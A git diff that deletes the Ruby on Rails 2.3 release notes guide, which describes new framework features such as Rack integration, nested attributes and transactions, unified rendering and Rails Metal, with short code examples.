-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/railties/guides/source/2_3_release_notes.textile b/railties/guides/source/2_3_release_notes.textile
deleted file mode 100644
index 15abba66ab..0000000000
--- a/railties/guides/source/2_3_release_notes.textile
+++ /dev/null
@@ -1,610 +0,0 @@
-h2. Ruby on Rails 2.3 Release Notes
-
-Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
-
-endprologue.
-
-h3. Application Architecture
-
-There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
-
-h4. Rack Integration
-
-Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
-
-* Sessions
-* Cookies
-* File uploads
-* JSON/XML APIs
-
-Here's a summary of the rack-related changes:
-
-* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch.
-* The FCGI handler goes through Rack.
-* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+.
-* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
-* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
-* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
-* +CgiRequest+ and +CgiResponse+ have been removed.
-* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
-* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected.
-* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+.
-* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+.
-* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+.
-* You can still change your session store with +ActionController::Base.session_store = :active_record_store+.
-* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. However, the +:session_domain+ option has been renamed to +:domain+.
-* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+.
-* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead.
-* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
-* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
-* +ActionController::Request+ inherits from +Rack::Request+.
-* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+.
-* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
-
-h4. Renewed Support for Rails Engines
-
-After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
-
-h3. Documentation
-
-The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://edgeguides.rubyonrails.org/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
-
-* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
-
-h3. Ruby 1.9.1 Support
-
-Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
-
-h3. Active Record
-
-Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
-
-h4. Nested Attributes
-
-Active Record can now update the attributes on nested models directly, provided you tell it to do so:
-
-<ruby>
-class Book < ActiveRecord::Base
- has_one :author
- has_many :pages
-
- accepts_nested_attributes_for :author, :pages
-end
-</ruby>
-
-Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
-
-You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
-
-<ruby>
-accepts_nested_attributes_for :author,
- :reject_if => proc { |attributes| attributes['name'].blank? }
-</ruby>
-
-* Lead Contributor: "Eloy Duran":http://superalloy.nl/
-* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-
-h4. Nested Transactions
-
-Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
-
-<ruby>
-User.transaction do
- User.create(:username => 'Admin')
- User.transaction(:requires_new => true) do
- User.create(:username => 'Regular')
- raise ActiveRecord::Rollback
- end
- end
-
- User.find(:all) # => Returns only Admin
-</ruby>
-
-Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
-
-* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
-
-h4. Dynamic Scopes
-
-You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
-
-<ruby>
-Order.scoped_by_customer_id(12)
-Order.scoped_by_customer_id(12).find(:all,
- :conditions => "status = 'open'")
-Order.scoped_by_customer_id(12).scoped_by_status("open")
-</ruby>
-
-There's nothing to define to use dynamic scopes: they just work.
-
-* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
-* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
-
-h4. Default Scopes
-
-Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
-
-* Lead Contributor: Paweł Kondzior
-* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
-
-h4. Batch Processing
-
-You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
-
-<ruby>
-Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
- customer_group.each { |customer| customer.update_account_balance! }
-end
-</ruby>
-
-You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
-
-The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
-
-<ruby>
-Customer.find_each do |customer|
- customer.update_account_balance!
-end
-</ruby>
-
-Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
-
-* More Information (at that point the convenience method was called just +each+):
-** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
-** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
-
-h4. Multiple Conditions for Callbacks
-
-When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
-
-<ruby>
-before_save :update_credit_rating, :if => :active,
- :unless => [:admin, :cash_only]
-</ruby>
-* Lead Contributor: L. Caviola
-
-h4. Find with having
-
-Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
-
-<ruby>
-developers = Developer.find(:all, :group => "salary",
- :having => "sum(salary) > 10000", :select => "salary")
-</ruby>
-
-* Lead Contributor: "Emilio Tagua":http://github.com/miloops
-
-h4. Reconnecting MySQL Connections
-
-MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
-
-* Lead Contributor: "Dov Murik":http://twitter.com/dubek
-* More information:
-** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
-** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
-
-h4. Other Active Record Changes
-
-* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases.
-* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
-* A bug in quoting table names in some +has_many :through+ associations was fixed.
-* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
-* Better error messages on failed +find_by_attribute!+ calls.
-* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
-* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed.
-* Rake tasks for testing databases via JDBC have been added.
-* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied).
-* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+.
-* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+.
-
-h3. Action Controller
-
-Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
-
-h4. Unified Rendering
-
-+ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
-
-<ruby>
-render :file => '/tmp/random_file.erb'
-render :template => 'other_controller/action'
-render :action => 'show'
-</ruby>
-
-Now in Rails 2.3, you can just supply what you want to render:
-
-<ruby>
-render '/tmp/random_file.erb'
-render 'other_controller/action'
-render 'show'
-render :show
-</ruby>
-Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
-
-h4. Application Controller Renamed
-
-If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
-
-* More Information:
-** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
-** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
-
-h4. HTTP Digest Authentication Support
-
-Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
-
-<ruby>
-class PostsController < ApplicationController
- Users = {"dhh" => "secret"}
- before_filter :authenticate
-
- def secret
- render :text => "Password Required!"
- end
-
- private
- def authenticate
- realm = "Application"
- authenticate_or_request_with_http_digest(realm) do |name|
- Users[name]
- end
- end
-end
-</ruby>
-
-* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
-* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
-
-h4. More Efficient Routing
-
-There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
-
-* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
-
-h4. Rack-based Lazy-loaded Sessions
-
-A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
-
-h4. MIME Type Handling Changes
-
-There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
-
-<ruby>
-if content_type && Mime::JS =~ content_type
- # do something cool
-end
-
-Mime::JS =~ "text/javascript" => true
-Mime::JS =~ "application/javascript" => true
-</ruby>
-
-The other change is that the framework now uses the +Mime::JS+ when checking for JavaScript in various spots, making it handle those alternatives cleanly.
-
-* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
-
-h4. Optimization of +respond_to+
-
-In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
-
-h4. Improved Caching Performance
-
-Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
-
-* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
-
-h4. Localized Views
-
-Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
-
-In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example.
-
-h4. Partial Scoping for Translations
-
-A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
-
-h4. Other Action Controller Changes
-
-* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
-* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
-* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
-* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
-* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
-* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
-* The bundled memcached client has been updated to version 1.6.4.99.
-* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
-* The +:requirements+ option now works properly with additional RESTful member routes.
-* Shallow routes now properly respect namespaces.
-* +polymorphic_url+ does a better job of handling objects with irregular plural names.
-
-h3. Action View
-
-Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
-
-h4. Nested Object Forms
-
-Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-
- accepts_nested_attributes_for :orders, :allow_destroy => true
-end
-</ruby>
-
-You can write this view in Rails 2.3:
-
-<erb>
-<% form_for @customer do |customer_form| %>
- <div>
- <%= customer_form.label :name, 'Customer Name:' %>
- <%= customer_form.text_field :name %>
- </div>
-
- <!-- Here we call fields_for on the customer_form builder instance.
- The block is called for each member of the orders collection. -->
- <% customer_form.fields_for :orders do |order_form| %>
- <p>
- <div>
- <%= order_form.label :number, 'Order Number:' %>
- <%= order_form.text_field :number %>
- </div>
-
- <!-- The allow_destroy option in the model enables deletion of
- child records. -->
- <% unless order_form.object.new_record? %>
- <div>
- <%= order_form.label :_delete, 'Remove:' %>
- <%= order_form.check_box :_delete %>
- </div>
- <% end %>
- </p>
- <% end %>
-
- <%= customer_form.submit %>
-<% end %>
-</erb>
-
-* Lead Contributor: "Eloy Duran":http://superalloy.nl/
-* More Information:
-** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-** "complex-form-examples":http://github.com/alloy/complex-form-examples
-** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
-
-h4. Smart Rendering of Partials
-
-The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
-
-<ruby>
-# Equivalent of render :partial => 'articles/_article',
-# :object => @article
-render @article
-
-# Equivalent of render :partial => 'articles/_article',
-# :collection => @articles
-render @articles
-</ruby>
-
-* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
-
-h4. Prompts for Date Select Helpers
-
-In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
-
-<ruby>
-select_datetime(DateTime.now, :prompt => true)
-
-select_datetime(DateTime.now, :prompt => "Choose date and time")
-
-select_datetime(DateTime.now, :prompt =>
- {:day => 'Choose day', :month => 'Choose month',
- :year => 'Choose year', :hour => 'Choose hour',
- :minute => 'Choose minute'})
-</ruby>
-
-* Lead Contributor: "Sam Oliver":http://samoliver.com/
-
-h4. AssetTag Timestamp Caching
-
-You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
-
-h4. Asset Hosts as Objects
-
-Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
-
-* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
-
-h4. grouped_options_for_select Helper Method
-
-Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
-
-<ruby>
-grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
- "Cowboy Hat", "Choose a product...")
-</ruby>
-
-returns
-
-<ruby>
-<option value="">Choose a product...</option>
-<optgroup label="Hats">
- <option value="Baseball Cap">Baseball Cap</option>
- <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
-</optgroup>
-</ruby>
-
-h4. Disabled Option Tags for Form Select Helpers
-
-The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags:
-
-<ruby>
-select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘)
-</ruby>
-
-returns
-
-<ruby>
-<select name=“post[category]“>
-<option>story</option>
-<option>joke</option>
-<option>poem</option>
-<option disabled=“disabled“>private</option>
-</select>
-</ruby>
-
-You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
-
-<ruby>
-options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
-</ruby>
-
-* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/
-* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/
-
-h4. A Note About Template Loading
-
-Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
-
-In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
-
-<ruby>
-config.action_view.cache_template_loading = true
-</ruby>
-
-This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
-
-h4. Other Action View Changes
-
-* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
-* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
-* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
-* +current_page?+ now works properly even when there are multiple query parameters in the URL.
-
-h3. Active Support
-
-Active Support has a few interesting changes, including the introduction of +Object#try+.
-
-h4. Object#try
-
-A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +&lt;%= @person.try(:name) %&gt;+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
-
-* More Information: "try()":http://ozmm.org/posts/try.html.
-
-h4. Object#tap Backport
-
-+Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
-
-h4. Swappable Parsers for XMLmini
-
-The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
-
-<ruby>
-XmlMini.backend = 'LibXML'
-</ruby>
-
-* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/
-* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/
-
-h4. Fractional seconds for TimeWithZone
-
-The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
-
-<ruby>
->> Time.zone.now.xmlschema(6)
-=> "2009-01-16T13:00:06.13653Z"
-</ruby>
-
-* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
-
-h4. JSON Key Quoting
-
-If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
-
-h4. Other Active Support Changes
-
-* You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
-* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
-* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
-* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
-* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
-* If you memoize a private method, the result will now be private.
-* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+.
-* +number_to_phone+ accepts 7-digit phone numbers now.
-* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences.
-
-h3. Railties
-
-In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
-
-h4. Rails Metal
-
-Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
-
-* More Information:
-** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
-** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
-** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
-** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
-
-h4. Application Templates
-
-Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
-
-<ruby>
-rake rails:template LOCATION=~/template.rb
-</ruby>
-
-This will layer the changes from the template on top of whatever code the project already contains.
-
-* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
-* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
-
-h4. Quieter Backtraces
-
-Building on Thoughtbot's "Quiet Backtrace":http://www.thoughtbot.com/projects/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
-
-h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
-
-Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
-
-You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
-
-h4. rake gem Task Rewrite
-
-The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
-
-* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar
-
-h4. Other Railties Changes
-
-* The instructions for updating a CI server to build Rails have been updated and expanded.
-* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
-* The default +environment.rb+ file has been decluttered.
-* The dbconsole script now lets you use an all-numeric password without crashing.
-* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
-* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatchers+ when you run the +rails+ command, or add them later with +rake rails:update:generate_dispatchers+).
-* Rails Guides have been converted from AsciiDoc to Textile markup.
-* Scaffolded views and controllers have been cleaned up a bit.
-* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
-* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
-* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
-
-h3. Deprecated
-
